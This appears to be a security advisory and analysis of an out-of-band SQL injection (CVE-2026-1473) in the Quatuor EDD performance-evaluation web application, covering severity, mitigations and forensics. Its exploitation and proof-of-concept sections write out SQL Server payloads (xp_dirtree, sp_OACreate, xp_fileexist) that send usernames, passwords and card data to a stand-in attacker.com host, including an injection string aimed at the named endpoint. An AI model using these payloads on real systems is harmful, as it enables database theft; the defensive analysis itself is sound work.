Description
An out-of-band SQL injection vulnerability (OOB SQLi) has been detected in the Performance Evaluation (EDD) application developed by Gabinete Técnico de Programación. Exploiting this vulnerability in the parameter 'Id_usuario’ in '/evaluacion_competencias_evalua.aspx', could allow an attacker to extract sensitive information from the database through external channels, without the affected application returning the data directly, compromising the confidentiality of the stored information.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2026-4745 (CVE-2026-1473)
Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2026-4745 (CVE-2026-1473) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_usuario parameter of the /evaluacion_competencias_evalua.aspx endpoint, enabling attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.
CVSS v4.0 Severity Analysis
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.3 (Critical) | High impact on confidentiality and integrity, with low attack complexity. |
| Attack Vector (AV:N) | Network | Exploitable remotely over the internet. |
| Attack Complexity (AC:L) | Low | No specialized conditions required; standard SQLi techniques apply. |
| Attack Requirements (AT:N) | None | No user interaction or prior authentication needed. |
| Privileges Required (PR:N) | None | Unauthenticated exploitation possible. |
| User Interaction (UI:N) | None | No victim interaction required. |
| Vulnerable Confidentiality (VC:H) | High | Full database content exposure possible. |
| Vulnerable Integrity (VI:H) | High | Data manipulation (e.g., INSERT/UPDATE/DELETE) possible. |
| Vulnerable Availability (VA:L) | Low | Limited impact on system availability (unless chained with DoS). |
| Subsequent Confidentiality (SC:N) | None | No further confidentiality impact beyond initial breach. |
| Subsequent Integrity (SI:N) | None | No further integrity impact beyond initial breach. |
| Subsequent Availability (SA:N) | None | No cascading availability impact. |
Key Takeaways:
- Critical severity (9.3) due to unauthenticated remote exploitation with high confidentiality and integrity impact.
- OOB SQLi is particularly dangerous because it bypasses traditional detection mechanisms (e.g., WAFs) by using DNS, HTTP, or SMB exfiltration instead of direct responses.
- The lack of EPSS (Exploit Prediction Scoring System) data suggests limited public exploit availability, but the low attack complexity makes weaponization likely.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanics
OOB SQLi leverages database functions that initiate external network requests to exfiltrate data. Common techniques include:
A. DNS Exfiltration (Most Common)
- Payload Example:
DECLARE @p varchar(1024); EXEC('master..xp_dirtree "\\'+(SELECT TOP 1 username FROM users)+'.attacker.com\foo"');- The database attempts to resolve a domain containing the extracted data (e.g.,
admin.attacker.com). - Attacker monitors DNS logs for exfiltrated data.
- The database attempts to resolve a domain containing the extracted data (e.g.,
B. HTTP/S Exfiltration
- Payload Example (Microsoft SQL Server):
EXEC sp_OACreate 'MSXML2.XMLHTTP', @obj OUT; EXEC sp_OAMethod @obj, 'open', NULL, 'GET', 'http://attacker.com/?data='+(SELECT TOP 1 password FROM users), 'false'; EXEC sp_OAMethod @obj, 'send';- The database sends an HTTP request to an attacker-controlled server with the stolen data.
C. SMB/UNC Path Exfiltration
- Payload Example:
EXEC xp_fileexist '\\attacker.com\share\' + (SELECT TOP 1 credit_card FROM payments);- Forces the database to authenticate to an attacker-controlled SMB server, leaking data via NetNTLM hashes or direct file access.
D. Time-Based OOB (Less Common)
- If DNS/HTTP is blocked, attackers may use time delays to infer data via conditional requests (e.g.,
IF (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' WAITFOR DELAY '0:0:5').
Attack Scenario
-
Reconnaissance:
- Attacker identifies the vulnerable endpoint (
/evaluacion_competencias_evalua.aspx) and parameter (Id_usuario). - Uses tools like Burp Suite, SQLmap (with
--dns-domainflag), or custom scripts to test for OOB SQLi.
- Attacker identifies the vulnerable endpoint (
-
Exploitation:
- Crafts a payload to extract data via DNS/HTTP (e.g.,
Id_usuario=1; EXEC xp_dirtree '//' + (SELECT password FROM users WHERE id=1) + '.attacker.com'). - Monitors external channels (e.g., DNS logs, HTTP server) for exfiltrated data.
- Crafts a payload to extract data via DNS/HTTP (e.g.,
-
Post-Exploitation:
- Data Theft: Extracts PII, credentials, or sensitive business data.
- Database Manipulation: Modifies records (e.g., altering performance evaluations).
- Lateral Movement: Uses stolen credentials to access other systems.
3. Affected Systems & Software Versions
Impacted Product
- Application: Evaluación de Desempeño (EDD) (Performance Evaluation System)
- Vendor: Gabinete Técnico de Programación (Quatuor)
- Affected Versions: All versions (as per ENISA ID
edc55628-7e73-3450-b152-31c995c63b0d) - Vulnerable Component:
/evaluacion_competencias_evalua.aspx(parameterId_usuario)
Underlying Technologies (Likely)
- Backend: Microsoft SQL Server (given the use of
xp_dirtree,sp_OACreate). - Frontend: ASP.NET (
.aspxextension). - Database: Likely SQL Server 2016+ (due to OOB capabilities).
Deployment Context
- Target Organizations:
- Public sector entities (e.g., Spanish government agencies, EU institutions using EDD for employee evaluations).
- Private companies in Spain/EU with performance management systems.
- Risk Profile:
- High-value targets (HR databases contain sensitive employee data).
- Regulatory risk (GDPR non-compliance if PII is exposed).
4. Recommended Mitigation Strategies
Immediate Actions (Short-Term)
-
Input Validation & Parameterized Queries
- Replace dynamic SQL with prepared statements (e.g.,
SqlCommandwith parameters in .NET). - Example Fix (C#):
// Vulnerable (dynamic SQL) string query = "SELECT * FROM users WHERE Id_usuario = " + Id_usuario; // Secure (parameterized query) SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE Id_usuario = @Id_usuario", connection); cmd.Parameters.AddWithValue("@Id_usuario", Id_usuario);
- Replace dynamic SQL with prepared statements (e.g.,
-
Disable Dangerous SQL Server Features
- Block OOB channels by disabling:
xp_dirtree,xp_fileexist,xp_subdirs(viasp_configure).sp_OACreate,sp_OAMethod(OLE Automation Procedures).
- Example:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;
- Block OOB channels by disabling:
-
Web Application Firewall (WAF) Rules
- Deploy OOB SQLi-specific rules (e.g., ModSecurity with OWASP CRS).
- Block DNS/HTTP exfiltration attempts by monitoring:
- Unusual outbound DNS requests (e.g.,
*.attacker.com). - HTTP requests to external domains from the database server.
- Unusual outbound DNS requests (e.g.,
-
Network-Level Protections
- Restrict outbound traffic from the database server:
- Block DNS (UDP 53) except to trusted resolvers.
- Block HTTP/HTTPS (TCP 80/443) to external IPs.
- Implement egress filtering to prevent data exfiltration.
- Restrict outbound traffic from the database server:
Long-Term Remediation (Strategic)
-
Code Audit & Secure Development
- Conduct a full security review of the EDD application.
- Adopt secure coding practices (e.g., OWASP Top 10, CWE-89 for SQLi).
- Use ORM frameworks (e.g., Entity Framework) to abstract SQL queries.
-
Database Hardening
- Principle of Least Privilege: Restrict database user permissions (e.g., no
xp_cmdshellaccess). - Enable SQL Server Audit Logging to detect suspicious queries.
- Encrypt sensitive data at rest (TDE) and in transit (TLS).
- Principle of Least Privilege: Restrict database user permissions (e.g., no
-
Patch Management
- Monitor for vendor patches (though no version-specific fix is listed, assume all versions are vulnerable).
- Apply compensating controls if patches are delayed.
-
Threat Detection & Monitoring
- Deploy SIEM solutions (e.g., Splunk, ELK) to detect:
- Unusual outbound DNS/HTTP traffic from the database server.
- SQL injection patterns in logs.
- Implement anomaly detection for database query behavior.
- Deploy SIEM solutions (e.g., Splunk, ELK) to detect:
-
Incident Response Planning
- Develop a playbook for OOB SQLi incidents, including:
- Containment: Isolate affected systems.
- Forensics: Analyze DNS/HTTP logs for exfiltration attempts.
- Notification: Comply with GDPR (Article 33) if PII is exposed.
- Develop a playbook for OOB SQLi incidents, including:
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Risks
- GDPR Violation (Article 5, 32, 33):
- Fines up to €20M or 4% of global revenue if PII is exposed.
- Mandatory breach notification within 72 hours.
- NIS2 Directive (Critical Entities):
- Public sector organizations using EDD may fall under NIS2, requiring incident reporting and risk management measures.
- ENISA Guidelines:
- Failure to mitigate OOB SQLi may indicate non-compliance with ENISA’s "Good Practices for Security of Web Applications."
Sector-Specific Risks
| Sector | Impact | Example Threat Scenario |
|---|---|---|
| Public Administration | High | Government employee performance data leaked, leading to blackmail or insider threats. |
| Healthcare | Critical | HR databases containing sensitive employee health records exposed. |
| Finance | High | Payroll or bonus data manipulated, leading to fraud. |
| Education | Medium | Faculty evaluation data tampered with, affecting promotions. |
Broader Implications
- Supply Chain Risk:
- Quatuor’s EDD may be integrated into larger HR/ERP systems, amplifying the blast radius.
- Reputation Damage:
- Public disclosure could erode trust in Spanish/EU public sector IT vendors.
- Exploit Proliferation:
- OOB SQLi is harder to detect than classic SQLi, increasing the risk of undetected breaches.
6. Technical Details for Security Professionals
Exploitation Proof of Concept (PoC)
DNS Exfiltration (SQL Server)
-- Extract the first username via DNS
DECLARE @host varchar(1024);
SELECT @host = (SELECT TOP 1 username FROM users) + '.attacker.com';
EXEC('master..xp_dirtree "\\' + @host + '\foo"');
- Attacker’s DNS Server Logs:
→ Extracted username:[2026-01-28 10:15:23] admin.attacker.com A 192.0.2.1admin.
HTTP Exfiltration (SQL Server)
-- Extract the first password via HTTP
DECLARE @obj int, @url varchar(1024), @response varchar(8000);
SELECT @url = 'http://attacker.com/?data=' + (SELECT TOP 1 password FROM users);
EXEC sp_OACreate 'MSXML2.XMLHTTP', @obj OUT;
EXEC sp_OAMethod @obj, 'open', NULL, 'GET', @url, 'false';
EXEC sp_OAMethod @obj, 'send';
- Attacker’s HTTP Server Logs:
→ Extracted password:GET /?data=P@ssw0rd123 HTTP/1.1P@ssw0rd123.
Detection & Forensics
Indicators of Compromise (IoCs)
| IoC Type | Example | Detection Method |
|---|---|---|
| DNS Requests | admin.attacker.com, password123.attacker.com | SIEM (e.g., Splunk, Wazuh) |
| HTTP Requests | GET /?data=secret123 HTTP/1.1 | Web server logs, IDS (Snort/Suricata) |
| SQL Queries | xp_dirtree, sp_OACreate, EXEC with concatenated strings | Database audit logs |
| Network Traffic | Unusual outbound connections from DB server | NetFlow analysis, Zeek |
Forensic Analysis Steps
- Check Database Logs:
- Look for unusual
EXECstatements or external function calls (xp_dirtree,sp_OACreate).
- Look for unusual
- Analyze DNS Logs:
- Search for subdomains containing data (e.g.,
SELECT password FROM users→P@ssw0rd.attacker.com).
- Search for subdomains containing data (e.g.,
- Inspect HTTP Traffic:
- Review outbound HTTP requests from the database server to external IPs.
- Memory Forensics:
- Use Volatility or Rekall to check for malicious SQL processes in memory.
Advanced Mitigation Techniques
- Database Activity Monitoring (DAM):
- Deploy Imperva, IBM Guardium, or Oracle Audit Vault to detect anomalous queries.
- Runtime Application Self-Protection (RASP):
- Use Contrast Security or Hdiv to block SQLi at runtime.
- Deception Technology:
- Deploy honeypot databases to detect OOB SQLi attempts.
Conclusion & Recommendations
Key Findings
- EUVD-2026-4745 (CVE-2026-1473) is a critical OOB SQLi vulnerability in Quatuor’s EDD application, enabling unauthenticated remote data exfiltration.
- Exploitation is feasible with low complexity, posing a high risk to European organizations handling sensitive HR data.
- Immediate action is required to patch, harden databases, and deploy compensating controls.
Prioritized Recommendations
- Patch or Mitigate Immediately:
- Apply vendor patches (if available) or implement parameterized queries and disable OOB functions.
- Deploy WAF & Network Protections:
- Block DNS/HTTP exfiltration and monitor for SQLi patterns.
- Conduct a Security Audit:
- Review the EDD application for additional vulnerabilities (e.g., XSS, CSRF).
- Enhance Monitoring:
- Implement SIEM and DAM to detect OOB SQLi attempts.
- Prepare for Incident Response:
- Develop a GDPR-compliant breach response plan.
Final Risk Assessment
| Factor | Risk Level | Justification |
|---|---|---|
| Exploitability | High | Unauthenticated, low complexity. |
| Impact | Critical | Full database compromise possible. |
| Detectability | Medium | OOB SQLi is stealthy but detectable with proper logging. |
| Remediation Difficulty | Medium | Requires code changes and database hardening. |
| Regulatory Risk | High | GDPR/NIS2 non-compliance likely if exploited. |
Overall Risk: Critical (9.3/10) – Immediate remediation is essential.
References: